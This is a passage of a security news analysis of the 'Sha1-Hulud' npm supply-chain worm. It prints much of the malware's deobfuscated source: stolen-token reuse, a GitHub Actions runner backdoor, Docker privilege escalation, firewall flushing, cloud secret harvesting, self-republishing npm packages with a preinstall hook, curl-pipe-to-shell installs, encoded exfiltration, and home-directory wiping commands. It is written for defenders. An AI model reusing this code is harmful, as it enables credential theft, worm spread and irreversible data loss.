News

Shai-Hulud: The Second Coming

  • None--securityboulevard.com
  • published date: 2025-11-24 00:00:00 UTC

None

<p data-beyondwords-marker="a7ff1f6e-6712-4666-baae-4118315477a0"><strong>Last Updated:</strong> November 24, 2025 – 8:55 AM ET</p><p data-beyondwords-marker="9a7e9be1-5930-4050-a357-2d8f2ccdd697">A significantly evolved version of <a href="https://www.mend.io/blog/npm-supply-chain-attack-packages-compromised-by-self-spreading-malware/">the Shai-Hulud malware</a> now tracked as Sha1-Hulud has been discovered with over 400 packages affected, now featuring persistent backdoor capabilities through compromised GitHub Actions runners and enhanced multi-cloud credential harvesting. This latest iteration, demonstrates a troubling evolution in supply chain attack sophistication, introducing capabilities that allow attackers to maintain long-term access to infected developer workstations and CI/CD environments even after the initial infection is detected.</p><p data-beyondwords-marker="b32141ee-ab95-4cf0-a437-f6aab7a25e7a">The attack has successfully compromised packages from several high-profile organizations including PostHog (@posthog/siphash), ENS Domains (@ensdomains/* packages including ensjs, ens-contracts, and react-ens-address), and Zapier (multiple @zapier/* packages and zapier-platform-* tooling). The sequential version bumps observed across Zapier packages (e.g., 18.0.2 → 18.0.3 → 18.0.4) demonstrate the malware’s automated propagation mechanism actively republishing compromised packages.</p><h2 data-beyondwords-marker="06e55b20-b7c6-41fe-b8be-9de3dcc7a4f9" class="wp-block-heading" id="evolution-from-september-2025-attack"><strong>Evolution from September 2025 attack</strong></h2><p data-beyondwords-marker="fea39aa9-de08-407a-9a3c-44eaa7441c3a">While the September 2025 Shai-Hulud attack focused primarily on credential harvesting and self-propagation, this new variant introduces several critical capabilities that represent a fundamental shift in the threat model:</p><p data-beyondwords-marker="a8039994-1aaf-469c-81a9-02ffa6cc07bb"><strong>Persistent remote access</strong>: Installation of self-hosted GitHub Actions runners that provide attackers with authenticated command execution on infected systems</p><p data-beyondwords-marker="c4606229-4e4a-4401-bc56-d3c2d869f7e7"><strong>Enhanced token recycling</strong>: The malware now searches for, and reuses GitHub tokens stolen from previous victims, allowing it to continue operating even when primary credentials are revoked</p><p data-beyondwords-marker="f84b3a3e-5ec3-4703-a1ef-61748282302e"><strong>Multi-cloud secret enumeration</strong>: Unified credential harvesting across AWS, GCP, and Azure with comprehensive secret manager scanning across 17 AWS regions</p><p data-beyondwords-marker="8509df38-e6ce-412e-a288-5b9321b86ceb"><strong>Azure DevOps exploitation</strong>: Targeted privilege escalation and network security bypass in Azure DevOps Linux environments</p><p data-beyondwords-marker="35bf6a7d-8a11-4dda-9a92-53da3617078e"><strong>Destructive failsafe</strong>: Data destruction capabilities triggered when credential theft fails, potentially as an anti-forensics measure</p><h2 data-beyondwords-marker="f0b9f2ba-7d83-4f80-90dc-cde88c2f14b4" class="wp-block-heading" id="technical-analysis"><strong>Technical analysis</strong></h2><p data-beyondwords-marker="5895b6f3-dcae-48fe-8721-4b806d0a5cee">The malware maintains the core worm-like propagation mechanism from the September attack while adding several layers of persistence and evasion.</p><h3 data-beyondwords-marker="a9332727-0da1-4134-af18-6512e0ae633d" class="wp-block-heading" id="token-recycling-and-victim-network-exploitation"><strong>Token recycling and victim network exploitation</strong></h3><p data-beyondwords-marker="c9a3f517-c975-4aa9-9cd2-7e78e14fdb80">One of the most concerning new capabilities is the malware’s ability to leverage stolen credentials from previous victims. When the malware fails to extract a valid GitHub token from the current environment, it searches for repositories created by earlier infections to harvest their stored credentials.</p><pre data-beyondwords-marker="190eacca-bc80-445e-9a0f-7cbf809329de" class="wp-block-code"><code>async fetchToken() { try { // Search for repositories created by previous infections let searchResults = await this.octokit.rest.search.repos({ q: '"Sha1-Hulud: The Second Coming."', sort: "updated", order: 'desc' }); if (searchResults.status !== 200 || !searchResults.data.items) { return null; } // Iterate through compromised repositories for (let repo of searchResults.data.items) { let owner = repo.owner?.login; let name = repo.name; if (!owner || !name) { continue; } try { // Download contents.json from previous victim's repo let url = `https://raw.githubusercontent.com/${owner}/${name}/main/contents.json`; let response = await fetch(url, { method: "GET" }); if (response.status === 200) { let rawContent = await response.text(); // Decode the triple-base64 encoded data let decoded = Buffer.from(rawContent, "base64").toString("utf8").trim(); if (!decoded.startsWith('{')) { decoded = Buffer.from(decoded, "base64").toString('utf8').trim(); } let data = JSON.parse(decoded); // Extract the stored GitHub token let stolenToken = data.modules?.github?.token; if (!stolenToken || typeof stolenToken !== 'string') { continue; } // Validate the stolen token still works if ((await new this.octokit.constructor({ auth: stolenToken }).request("GET /user")).status === 200) { this.token = stolenToken; return stolenToken; } } } catch { continue; } } return null; } catch { return null; } }</code></pre><p data-beyondwords-marker="b1060726-54c4-4485-924e-e49ee36f3c53"><strong>Figure 1.</strong> Deobfuscated token recycling mechanism that searches GitHub for “Sha1-Hulud: The Second Coming.”</p><figure data-beyondwords-marker="c7efcd5b-d748-424c-b559-5388e16cf382" class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="929" height="785" src="https://www.mend.io/wp-content/uploads/2025/11/image-24.png" alt="Shai-Hulud: The Second Coming - image 24" class="wp-image-20654" srcset="https://www.mend.io/wp-content/uploads/2025/11/image-24.png 929w, https://www.mend.io/wp-content/uploads/2025/11/image-24-300x253.png 300w, https://www.mend.io/wp-content/uploads/2025/11/image-24-768x649.png 768w" sizes="(max-width: 929px) 100vw, 929px"></figure><p data-beyondwords-marker="0d8942f1-069b-4e52-bece-43f3cde633e4"> </p><p data-beyondwords-marker="92323c44-1264-4d89-856a-7f7a4c84d425"><strong>Figure 2.</strong> GitHub search showing repositories with the description “Sha1-Hulud: The Second Coming.” – each representing a compromised victim whose credentials are available for token recycling</p><p data-beyondwords-marker="c81e1627-d151-4cf2-a18b-e767ed829d90">This creates a network effect where each compromised account potentially provides access to dozens or hundreds of other compromised accounts, significantly extending the malware’s operational lifetime even as individual tokens are discovered and revoked.</p><h3 data-beyondwords-marker="fa065e38-a436-4df3-b1c0-316c697a5c44" class="wp-block-heading" id="persistent-backdoor-via-self-hosted-github-actions-runners"><strong>Persistent backdoor via self-hosted GitHub Actions runners</strong></h3><p data-beyondwords-marker="00997c4d-34e2-4ce3-8bd8-1408404dbc16">The most critical new capability is the installation of self-hosted GitHub Actions runners on infected systems. This provides attackers with persistent, authenticated remote code execution that survives reboots and can be triggered at any time.</p><pre data-beyondwords-marker="475e6434-eadf-4d24-8115-1fdd697eb60c" class="wp-block-code"><code>async createRepo(repoName, description = "Sha1-Hulud: The Second Coming.", isPrivate = false) { if (!repoName) { return null; } try { // Create the exfiltration repository let repo = (await this.octokit.rest.repos.createForAuthenticatedUser({ name: repoName, description: description, private: isPrivate, auto_init: false, has_issues: false, has_discussions: true, has_projects: false, has_wiki: false })).data; let owner = repo.owner?.login; let name = repo.name; if (!owner || !name) { return null; } this.gitRepo = `${owner}/${name}`; await new Promise(resolve =&gt; setTimeout(resolve, 3000)); // Check if token has workflow scope (required for runner registration) if (await this.checkWorkflowScope()) { try { // Generate runner registration token let tokenResponse = await this.octokit.request( "POST /repos/{owner}/{repo}/actions/runners/registration-token", { owner: owner, repo: name } ); if (tokenResponse.status == 201) { let registrationToken = tokenResponse.data.token; // Download and install GitHub Actions runner based on platform if (os.platform() === 'linux') { await Bun.$`mkdir -p $HOME/.dev-env/`; await Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz` .cwd(os.homedir + "/.dev-env").quiet(); await Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz` .cwd(os.homedir + "/.dev-env"); await Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${owner}/${name} --unattended --token ${registrationToken} --name "SHA1HULUD"` .cwd(os.homedir + "/.dev-env").quiet(); await Bun.$`rm actions-runner-linux-x64-2.330.0.tar.gz` .cwd(os.homedir + "/.dev-env"); // Start runner in background Bun.spawn(["bash", '-c', "cd $HOME/.dev-env &amp;&amp; nohup ./run.sh &amp;"]).unref(); } else if (os.platform() === "darwin") { await Bun.$`mkdir -p $HOME/.dev-env/`; await Bun.$`curl -o actions-runner-osx-arm64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-osx-arm64-2.330.0.tar.gz` .cwd(os.homedir + "/.dev-env").quiet(); await Bun.$`tar xzf ./actions-runner-osx-arm64-2.330.0.tar.gz` .cwd(os.homedir + "/.dev-env"); await Bun.$`./config.sh --url https://github.com/${owner}/${name} --unattended --token ${registrationToken} --name "SHA1HULUD"` .cwd(os.homedir + "/.dev-env").quiet(); await Bun.$`rm actions-runner-osx-arm64-2.330.0.tar.gz` .cwd(os.homedir + '/.dev-env'); // Start runner in background Bun.spawn(["bash", '-c', "cd $HOME/.dev-env &amp;&amp; nohup ./run.sh &amp;"]).unref(); } // Create workflow file that triggers on discussion events await this.octokit.request("PUT /repos/{owner}/{repo}/contents/{path}", { owner: owner, repo: name, path: ".github/workflows/discussion.yaml", message: "Add Discusion", content: Buffer.from(` name: Discussion Create on: discussion: jobs: process: env: RUNNER_TRACKING_ID: 0 runs-on: self-hosted steps: - uses: actions/checkout@v5 - name: Handle Discussion run: echo ${{ github.event.discussion.body }} `).toString("base64"), branch: 'main' }); } } catch (error) { console.log(error); } } return { owner: owner, name: name, fullName: `${owner}/${name}` }; } catch { return null; } }</code></pre><p data-beyondwords-marker="da8ca922-6341-4742-b76c-3df66ad31c21"><strong>Figure 3.</strong> Self-hosted GitHub Actions runner installation code showing automated download, configuration, and persistence via background process execution</p><p data-beyondwords-marker="db60f4c9-40e7-45f3-a3f7-616d2e407afb">The workflow file created by the malware listens for GitHub Discussion events. Attackers can create a discussion in the compromised repository to trigger arbitrary command execution on the infected system. The <code>run: echo ${{ github.event.discussion.body }}</code> line executes whatever content the attacker includes in the discussion body, providing a simple command-and-control channel that bypasses traditional network-based detection.</p><h3 data-beyondwords-marker="a2471c1c-d7de-4ac0-ac68-6d5aed529efa" class="wp-block-heading" id="azure-devops-privilege-escalation-and-network-security-bypass"><strong>Azure DevOps privilege escalation and network security bypass</strong></h3><p data-beyondwords-marker="3110444a-ff54-4349-af65-a7c397c21e76">The malware includes specific logic to detect and exploit Azure DevOps Linux build agents, disabling network security controls and gaining elevated privileges.</p><pre data-beyondwords-marker="290c2f7f-33d2-44bc-b4d5-e106a450d5c4" class="wp-block-code"><code>// Detect Azure DevOps agent async function detectAzureDevOpsAgent() { try { return (await Bun.$`ps -axco command | grep "/home/agent/agent"`.text()).trim() !== ''; } catch (error) { return false; } } // Check for passwordless sudo or exploit Docker for privilege escalation async function canEscalatePrivileges() { try { let { stdout, exitCode } = await Bun.$`sudo -n true`.nothrow(); return exitCode === 0; } catch { try { // Use Docker to write sudoers file if passwordless sudo unavailable await Bun.$`docker run --rm --privileged -v /:/host ubuntu bash -c "cp /host/tmp/runner /host/etc/sudoers.d/runner"`.nothrow(); } catch { return false; } return true; } } // Disable network security controls async function disableNetworkSecurity() { // Stop DNS resolver await Bun.$`sudo systemctl stop systemd-resolved`.nothrow(); await Bun.$`sudo cp /tmp/resolved.conf /etc/systemd/resolved.conf`.nothrow(); await Bun.$`sudo systemctl restart systemd-resolved`.nothrow(); // Clear iptables firewall rules await Bun.$`sudo iptables -t filter -F OUTPUT`.nothrow(); await Bun.$`sudo iptables -t filter -F DOCKER-USER`.nothrow(); } async function exploitAzureDevOps() { if (process.env.GITHUB_ACTIONS &amp;&amp; process.env.RUNNER_OS === 'Linux') { if ((await detectAzureDevOpsAgent()) &amp;&amp; (await canEscalatePrivileges())) { await disableNetworkSecurity(); } } }</code></pre><p data-beyondwords-marker="79b3a47f-b7dd-49ad-a6a3-6029044650d6"><strong>Figure 4.</strong> Azure DevOps agent detection, privilege escalation via Docker escape, and network security bypass through iptables rule deletion</p><p data-beyondwords-marker="54f9d8a3-147e-497f-9245-a23093c39515">This exploitation sequence specifically targets Azure DevOps build agents, which often run with elevated privileges and have access to production secrets. By disabling iptables rules and modifying DNS resolution, the malware can bypass network-based security controls that might otherwise prevent or detect its communication with command-and-control infrastructure.</p><h3 data-beyondwords-marker="0dd13c05-9417-48d0-b361-2b36d125315c" class="wp-block-heading" id="enhanced-multi-cloud-credential-harvesting"><strong>Enhanced multi-cloud credential harvesting</strong></h3><p data-beyondwords-marker="356024aa-f2b8-4706-87c0-2b5a25e44002">The new variant includes comprehensive secret enumeration across all major cloud providers, with particular focus on cloud-native secret management services.</p><p data-beyondwords-marker="d931263f-0857-4fa7-8820-e313728e89d3">AWS credential enumeration and secret extraction</p><pre data-beyondwords-marker="945f2c6a-9801-4b1c-bbdd-219ffa609ed4" class="wp-block-code"><code>class AWSSecretHarvester { static VALIDATION_REGION = 'us-east-1'; static LOOP_REGIONS = [ 'us-east-1', "us-east-2", "us-west-1", "us-west-2", "ap-northeast-1", "ap-northeast-2", "ap-northeast-3", "ap-south-1", "ap-southeast-1", "ap-southeast-2", "ca-central-1", "eu-central-1", "eu-north-1", "eu-west-1", "eu-west-2", "eu-west-3", "sa-east-1" ]; async validateCredentials(credentials) { // Validate credentials via STS GetCallerIdentity let identity = await new STSClient({ region: AWSSecretHarvester.VALIDATION_REGION, credentials: credentials }).send(new GetCallerIdentityCommand({})); if (!identity.UserId || !identity.Account || !identity.Arn) { throw Error("STS returned incomplete identity"); } return { userId: identity.UserId, account: identity.Account, arn: identity.Arn }; } async buildCredentialProviders() { let providers = [ { provider: fromEnv(), name: 'env' }, { provider: fromSSO(), name: "sso" }, { provider: fromTokenFile(), name: "tokenFile" }, { provider: fromContainerMetadata(), name: 'container' }, { provider: fromInstanceMetadata(), name: 'instance' }, { provider: fromProcess(), name: "process" } ]; try { let profiles = await loadSharedConfigFiles(); for (let profile of profiles) { providers.push({ provider: fromIni({ profile: profile }), name: `profile:${profile}`, profile: profile }); } } catch {} return providers; } async enumerateValidCredentials() { let providers = await this.buildCredentialProviders(); let validCredentials = []; let errors = {}; for (let provider of providers) { try { let credentials = await provider.provider(); let identity = await this.validateCredentials(credentials); validCredentials.push({ credentials: credentials, providerName: provider.name, profile: provider.profile ?? null, region: AWSSecretHarvester.VALIDATION_REGION, callerIdentity: identity }); } catch (error) { errors[provider.name] = error?.message ?? String(error); } } return { valid: validCredentials, errors: errors }; } async runSecrets() { let { valid: credentials } = await this.enumerateValidCredentials(); let secrets = []; try { for (let credential of credentials) { for (let region of AWSSecretHarvester.LOOP_REGIONS) { let secretsManager = new SecretsManagerClient(credential.credentials, region); secrets.concat(await secretsManager.listAndRetrieveAllSecrets()); } } } catch (error) { console.log(error); } return secrets; } }</code></pre><p data-beyondwords-marker="8aa44eee-e6af-4aa1-bbb7-526b74f7648c"><strong>Figure 5.</strong> Multi-provider AWS credential enumeration with validation via STS and systematic secret extraction across 17 regions</p><p data-beyondwords-marker="d630038e-1822-44f1-b4a7-5fa9ac0b33e6">The AWS harvester systematically attempts every available credential source, validates discovered credentials, then scans 17 AWS regions for secrets stored in AWS Secrets Manager. This comprehensive approach ensures maximum credential discovery across complex AWS environments with multiple accounts and regions.</p><h3 data-beyondwords-marker="7a43e298-6371-48bd-998d-fddb490adf7f" class="wp-block-heading" id="gcp-and-azure-secret-harvesting"><strong>GCP and Azure secret harvesting</strong></h3><pre data-beyondwords-marker="495f706c-d260-4709-bd01-a44a01804dab" class="wp-block-code"><code>class GCPSecretHarvester { async getIdentity() { let auth = new GoogleAuth(); try { let client = await auth.getClient(); await client.getAccessToken(); let email = await this.getUserEmail(client); this.projectId = await this.getProjectId(client); this.secretsManager = new SecretManagerServiceClient(this.projectId); return { userId: email, projectId: this.projectId }; } catch (error) { throw Error("No valid Google Auth"); } } async listAndRetrieveAllSecrets() { try { await this.getIdentity(); return this.secretsManager.listAndRetrieveAllSecrets(); } catch (error) {} return []; } } class AzureSecretHarvester { async listAndRetrieveAllSecrets() { try { let credential = new DefaultAzureCredential(); await credential.getToken("https://vault.azure.net/.default"); return await new KeyVaultClient(credential).listAndRetrieveAllSecrets(); } catch (error) { return []; } } }</code></pre><p data-beyondwords-marker="8ed01e5d-d985-4e3c-b9bf-78df75805716"><strong>Figure 6.</strong> GCP Secret Manager and Azure Key Vault credential harvesting using default cloud authentication methods</p><p data-beyondwords-marker="1bd6847c-e91c-460e-a9bd-b53371326622">The multi-cloud approach ensures comprehensive credential harvesting regardless of the target environment’s cloud provider, making the malware effective across diverse infrastructure deployments.</p><h3 data-beyondwords-marker="1def65bb-72ed-4858-90f0-170f2ba6c8a7" class="wp-block-heading" id="enhanced-npm-propagation-with-bun-runtime-injection"><strong>Enhanced NPM propagation with Bun runtime injection</strong></h3><p data-beyondwords-marker="c83a894a-45d6-4ea9-b757-3bae55fcaeba">The malware’s self-propagation mechanism has been enhanced to inject the Bun runtime alongside the malicious payload, ensuring consistent execution across different Node.js versions and environments.</p><pre data-beyondwords-marker="48826e68-05d1-45ec-a759-6f1c2b43e7a4" class="wp-block-code"><code>class NPMWormPropagator { baseUrl = "https://registry.npmjs.org"; userAgent; token; constructor(npmToken) { this.userAgent = "npm/11.6.2 workspaces/false"; this.token = npmToken; } async validateToken() { if (!this.token) { return null; } let response = await fetch(this.baseUrl + "/-/whoami", { method: "GET", headers: { 'Authorization': `Bearer ${this.token}`, 'Npm-Auth-Type': "web", 'Npm-Command': "whoami", 'User-Agent': this.userAgent, 'Connection': "keep-alive", 'Accept': "*/*", 'Accept-Encoding': "gzip, deflate, br" } }); if (response.status === 401) { throw Error("Invalid NPM"); } if (!response.ok) { throw Error(`NPM Failed: ${response.status} ${response.statusText}`); } return (await response.json()).username ?? null; } async getPackagesByMaintainer(username, limit = 100) { let searchUrl = `${this.baseUrl}/-/v1/search?text=maintainer:${encodeURIComponent(username)}&amp;size=${limit}`; try { let response = await fetch(searchUrl, { method: "GET", headers: this.getHeaders(false) }); if (!response.ok) { throw Error(`HTTP ${response.status}: ${response.statusText}`); } return (await response.json()).objects || []; } catch (error) { return []; } } async bundleAssets(extractPath) { // Write Bun installer script let setupBunPath = path.join(extractPath, 'package', "setup_bun.js"); await writeFile(setupBunPath, `#!/usr/bin/env node const { spawn, execSync } = require('child_process'); const path = require('path'); const fs = require('fs'); const os = require('os'); function isBunOnPath() { try { const command = process.platform === 'win32' ? 'where bun' : 'which bun'; execSync(command, { stdio: 'ignore' }); return true; } catch { return false; } } async function downloadAndSetupBun() { try { let command; if (process.platform === 'win32') { command = 'powershell -c "irm bun.sh/install.ps1|iex"'; } else { command = 'curl -fsSL https://bun.sh/install | bash'; } execSync(command, { stdio: 'ignore', env: { ...process.env } }); return 'bun'; } catch { process.exit(0); } } async function main() { let bunExecutable = isBunOnPath() ? 'bun' : await downloadAndSetupBun(); const environmentScript = path.join(__dirname, 'bun_environment.js'); if (fs.existsSync(environmentScript)) { spawn(bunExecutable, [environmentScript], { stdio: 'ignore' }); } else { process.exit(0); } } main().catch(() =&gt; process.exit(0)); `); // Copy the obfuscated malware as bun_environment.js let currentScript = process.argv[1]; if (currentScript &amp;&amp; (await fileExists(currentScript))) { let scriptContent = await readFile(currentScript); if (scriptContent !== null) { let bunEnvPath = path.join(extractPath, "package", "bun_environment.js"); await writeFile(bunEnvPath, scriptContent); } } } async updatePackage(packageInfo) { try { // Download current package tarball let tarballResponse = await fetch(packageInfo.tarballUrl, { method: "GET", headers: { 'User-Agent': this.userAgent, 'Accept': "*/*", 'Accept-Encoding': "gzip, deflate, br" } }); if (!tarballResponse.ok) { throw Error(`Failed to download tarball: ${tarballResponse.status} ${tarballResponse.statusText}`); } let tarballBuffer = Buffer.from(await tarballResponse.arrayBuffer()); let tempDir = await createTempDir(path.join(os.tmpdir(), "npm-update-")); let tarballPath = path.join(tempDir, "package.tgz"); let updatedTarballPath = path.join(tempDir, "updated.tgz"); await Bun.write(tarballPath, tarballBuffer); // Extract tarball await extractTar({ file: tarballPath, cwd: tempDir, gzip: true }); // Modify package.json let packageJsonPath = path.join(tempDir, "package", 'package.json'); let packageJsonContent = await Bun.file(packageJsonPath).text(); let packageJson = JSON.parse(packageJsonContent); if (!packageJson.scripts) { packageJson.scripts = {}; } // Add preinstall hook packageJson.scripts.preinstall = "node setup_bun.js"; // Increment patch version if (typeof packageJson.version === "string") { let versionParts = packageJson.version.split('.').map(Number); if (versionParts.length === 3) { versionParts[2] = (versionParts[2] || 0) + 1; } packageJson.version = versionParts.join('.'); } await Bun.write(packageJsonPath, JSON.stringify(packageJson, null, 2)); // Bundle malicious assets await this.bundleAssets(tempDir); // Create new tarball await createTar({ file: updatedTarballPath, cwd: tempDir, gzip: true }, ['package']); // Publish modified package await Bun.$`npm publish ${updatedTarballPath}`.env({ ...process.env, 'NPM_CONFIG_TOKEN': this.token }); await cleanupTempDir(tempDir); } catch (error) { // Fail silently to avoid detection } } }</code></pre><p data-beyondwords-marker="6b6f6e7b-9568-43e7-ba85-a53d0700e2ea"><strong>Figure 7.</strong> Automated NPM package modification and republishing mechanism showing Bun runtime injection and malicious preinstall hook insertion</p><p data-beyondwords-marker="7f42c806-738e-4fa5-b146-b86b74e1e320">The propagation mechanism maintains the worm-like behavior from the September attack but adds the Bun runtime installation script, ensuring the malware can execute even in environments without Bun pre-installed. The <code>preinstall</code> script hooks into the npm lifecycle, executing before the package is installed and ensuring the malware runs before any package code.</p><h3 data-beyondwords-marker="c10b559f-7dcd-4c9c-8cbd-d8a42a53bb8e" class="wp-block-heading" id="data-exfiltration-with-triple-encoding"><strong>Data exfiltration with triple encoding</strong></h3><p data-beyondwords-marker="d0270495-cedf-4970-8d1a-8cd8c5e9d6d7">To evade detection and content filtering, stolen data is encoded three times before being uploaded to GitHub repositories.</p><pre data-beyondwords-marker="48756543-6960-4c37-a66d-3976168e104b" class="wp-block-code"><code>async saveContents(filename, content, commitMessage = "add file") { if (!this.gitRepo) { return false; } let [owner, repo] = this.gitRepo.split('/'); if (!owner || !repo) { return false; } try { // Triple base64 encoding to evade detection let encoded = Buffer.from( Buffer.from( Buffer.from(content).toString("base64") ).toString("base64") ).toString('base64'); await this.octokit.rest.repos.createOrUpdateFileContents({ owner: owner, repo: repo, path: filename, message: commitMessage, content: encoded }); return true; } catch { return false; } }</code></pre><p data-beyondwords-marker="306a1c0f-d4be-4266-ac29-8165fd54a5c3"><strong>Figure 8.</strong> Data exfiltration using triple base64 encoding to evade content filtering and detection systems</p><p data-beyondwords-marker="005b5dab-cba0-4cbe-9998-06e9b1aba670">The exfiltration process creates five distinct JSON files in the compromised repository:</p><ol data-beyondwords-marker="60574653-4fe5-4bae-aed5-9a790176e6e9" class="wp-block-list"> <li data-beyondwords-marker="a5b56a57-5253-4d33-8fce-0334e47b463c"><strong>contents.json</strong>: System information, GitHub credentials, and token</li> <li data-beyondwords-marker="35af9498-4a0b-49f3-94cb-7d0eda7e0b0f"><strong>environment.json</strong>: Complete process.env dump containing all environment variables</li> <li data-beyondwords-marker="335ffee6-08b5-47b1-a1ec-14f590177eb8"><strong>cloud.json</strong>: AWS, GCP, and Azure secrets from respective secret management services</li> <li data-beyondwords-marker="5d6a0175-31e7-4111-822b-86ae087be418"><strong>actionsSecrets.json</strong>: GitHub Actions repository secrets extracted via API</li> <li data-beyondwords-marker="213fdd8d-31ce-411d-9e28-bafdcec117c2"><strong>truffleSecrets.json</strong>: TruffleHog scan results from the user’s home directory</li> </ol><h3 data-beyondwords-marker="a1c4ac45-f445-403d-9a97-6d04808b9d3b" class="wp-block-heading" id="destructive-anti-forensics-failsafe"><strong>Destructive anti-forensics failsafe</strong></h3><p data-beyondwords-marker="4cf76a04-db20-46c9-9b58-b44715b28777">When the malware fails to harvest credentials and cannot establish persistence, it implements a data destruction sequence, likely intended to hinder forensic analysis or punish detection.</p><pre data-beyondwords-marker="70decf5f-8d1a-4f27-8d97-6028e1cb9a94" class="wp-block-code"><code>if (!authenticated || !repoExists) { let token = await fetchToken(); if (!token) { if (npmToken) { await harvestNPMCredentials(npmToken); } else { console.log("Error 12"); // Execute data destruction based on platform if (platform === "windows") { Bun.spawnSync([ "cmd.exe", '/c', 'del /F /Q /S "%USERPROFILE%*" &amp;&amp; ' + 'for /d %%i in ("%USERPROFILE%*") do rd /S /Q "%%i" &amp; ' + 'cipher /W:%USERPROFILE%' ]); } else { Bun.spawnSync([ "bash", '-c', 'find "$HOME" -type f -writable -user "$(id -un)" -print0 | ' + 'xargs -0 -r shred -uvz -n 1 &amp;&amp; ' + 'find "$HOME" -depth -type d -empty -delete' ]); } process.exit(0); } } }</code></pre><p data-beyondwords-marker="ff20d23c-b1e3-4abe-b915-89c4074dfc95"><strong>Figure 9.</strong> Anti-forensics data destruction code triggered when credential theft fails, using secure deletion methods on Windows and Unix systems</p><p data-beyondwords-marker="3f589843-cb67-438d-88e6-6eeb10c333d6">The Windows variant uses the <code>cipher /W</code> command for secure deletion, while the Unix variant uses <code>shred -uvz</code> to overwrite files before deletion, making data recovery difficult or impossible. This destructive capability distinguishes this variant from typical credential harvesting malware and suggests either an anti-forensics purpose or a punitive measure against detection.</p><h2 data-beyondwords-marker="bb996683-f8bd-4999-8757-8091e01a92b7" class="wp-block-heading" id="attack-execution-flow"><strong>Attack execution flow</strong></h2><p data-beyondwords-marker="438ee6a1-0f43-4c36-a5a6-53dd8d0bc159">The malware follows a sophisticated execution sequence designed to maximize credential discovery while establishing persistence:</p><pre data-beyondwords-marker="3c479a38-6b08-4b23-80ef-96a75c1ffab5" class="wp-block-code"><code>1. Environment detection └─&gt; Check for CI/CD environment variables ├─&gt; GITHUB_ACTIONS, BUILDKITE, CIRCLE_SHA1, etc. └─&gt; Execute immediately vs. background spawn 2. GitHub authentication └─&gt; Search environment variables for tokens (ghp_, gho_) ├─&gt; Found: Use token └─&gt; Not found: Execute token recycling └─&gt; Search for Shai-Hulud repos └─&gt; Download and decode contents.json └─&gt; Extract and validate stolen tokens 3. Repository creation and runner installation └─&gt; Create "Sha1-Hulud" repository └─&gt; Check for workflow scope ├─&gt; Has scope: Install self-hosted runner │ ├─&gt; Download GitHub Actions runner │ ├─&gt; Configure with registration token │ ├─&gt; Start in background (nohup) │ └─&gt; Create discussion.yaml workflow └─&gt; No scope: Continue with exfiltration 4. Credential harvesting ├─&gt; AWS: Enumerate all credential providers, scan 17 regions ├─&gt; GCP: Use Application Default Credentials, scan Secret Manager ├─&gt; Azure: Use DefaultAzureCredential, scan Key Vault ├─&gt; GitHub: Check workflow scope, extract Actions secrets └─&gt; NPM: Validate token, get maintainer packages 5. Secret scanning └─&gt; Download TruffleHog └─&gt; Scan home directory for exposed secrets 6. Data exfiltration └─&gt; Triple base64 encode all collected data ├─&gt; contents.json (system info + GitHub creds) ├─&gt; environment.json (process.env) ├─&gt; cloud.json (AWS/GCP/Azure secrets) ├─&gt; actionsSecrets.json (Actions secrets) └─&gt; truffleSecrets.json (TruffleHog findings) 7. NPM propagation └─&gt; If NPM token valid: ├─&gt; Get all packages maintained by user └─&gt; For each package: ├─&gt; Download tarball ├─&gt; Extract and modify package.json ├─&gt; Add preinstall: "node setup_bun.js" ├─&gt; Increment patch version ├─&gt; Bundle setup_bun.js and bun_environment.js └─&gt; Publish updated package 8. Azure DevOps exploitation (if applicable) └─&gt; Detect Azure DevOps agent ├─&gt; Escalate privileges via Docker └─&gt; Disable network security ├─&gt; Stop systemd-resolved ├─&gt; Flush iptables OUTPUT rules └─&gt; Flush iptables DOCKER-USER rules</code></pre><h2 data-beyondwords-marker="94fd386e-2bc2-4df5-8410-b74182531e4b" class="wp-block-heading" id="impact-analysis"><strong>Impact analysis</strong></h2><p data-beyondwords-marker="ec551624-6cb2-4e8a-bd69-28ca7e87ffa6">This evolved Shai-Hulud variant poses significantly greater risks than the September attack due to two critical capabilities: persistent backdoor access and an unusually destructive failsafe mechanism.</p><h3 data-beyondwords-marker="477b92e4-2ed9-4bd6-859d-24cc4c34ca75" class="wp-block-heading" id="persistent-backdoor-access"><strong>Persistent backdoor access</strong></h3><p data-beyondwords-marker="88548057-d2ed-45b6-b255-b84a1cfba3ce">The self-hosted GitHub Actions runner provides long-term persistence that survives package removal and system reboots. Attackers can execute arbitrary commands at any time by creating a GitHub Discussion in the compromised repository, bypassing traditional network-based detection since all communication uses legitimate GitHub infrastructure over HTTPS. The runner appears as a standard GitHub Actions component in ~/.dev-env/, making detection difficult during incident response.</p><h3 data-beyondwords-marker="a77efafe-d5e0-47f1-83db-93286d0302f4" class="wp-block-heading" id="destructive-anti-forensics-failsafe-an-unusual-escalation"><strong>Destructive anti-forensics failsafe – an unusual escalation</strong></h3><p data-beyondwords-marker="38cbcc8c-59de-44dc-8fb0-acf0238faa15">Unlike typical credential-stealing malware that operates silently to maintain access, this variant includes aggressive data destruction capabilities that trigger when credential theft fails. This represents a significant departure from standard credential exfiltration attacks.</p><p data-beyondwords-marker="e67c85a9-c2e6-444b-a6e5-f79bb34cce44"><strong>Complete data destruction</strong>: When the malware cannot establish GitHub authentication and finds no NPM token, it executes secure deletion of the entire user home directory:</p><p data-beyondwords-marker="e9b1982c-79bb-456b-9a78-9e157ebd93da"><strong>Windows</strong>: <code>del /F /Q /S "%USERPROFILE%*" &amp;&amp; cipher /W:%USERPROFILE% </code></p><p data-beyondwords-marker="f44373ad-44d2-4cc2-a621-dfff9790c053"><strong>Unix/Linux</strong>: <code>find "$HOME" -type f -writable | xargs shred -uvz -n 1</code></p><p data-beyondwords-marker="44d3e3dc-51fb-4107-87d1-9dcc9965d55d"><strong>Unrecoverable data loss</strong>: The malware doesn’t just delete files – it uses secure deletion methods (<code>shred -uvz, cipher /W</code>) that overwrite file contents multiple times before deletion, making forensic recovery impossible. This means permanent loss of uncommitted code, configuration files, SSH keys, browser data, and all files in the user’s home directory.</p><p data-beyondwords-marker="683a229d-5796-4e49-a637-654ba54241c9"><strong>Unprecedented in supply chain attacks</strong>: Credential stealers typically prioritize stealth and persistence to 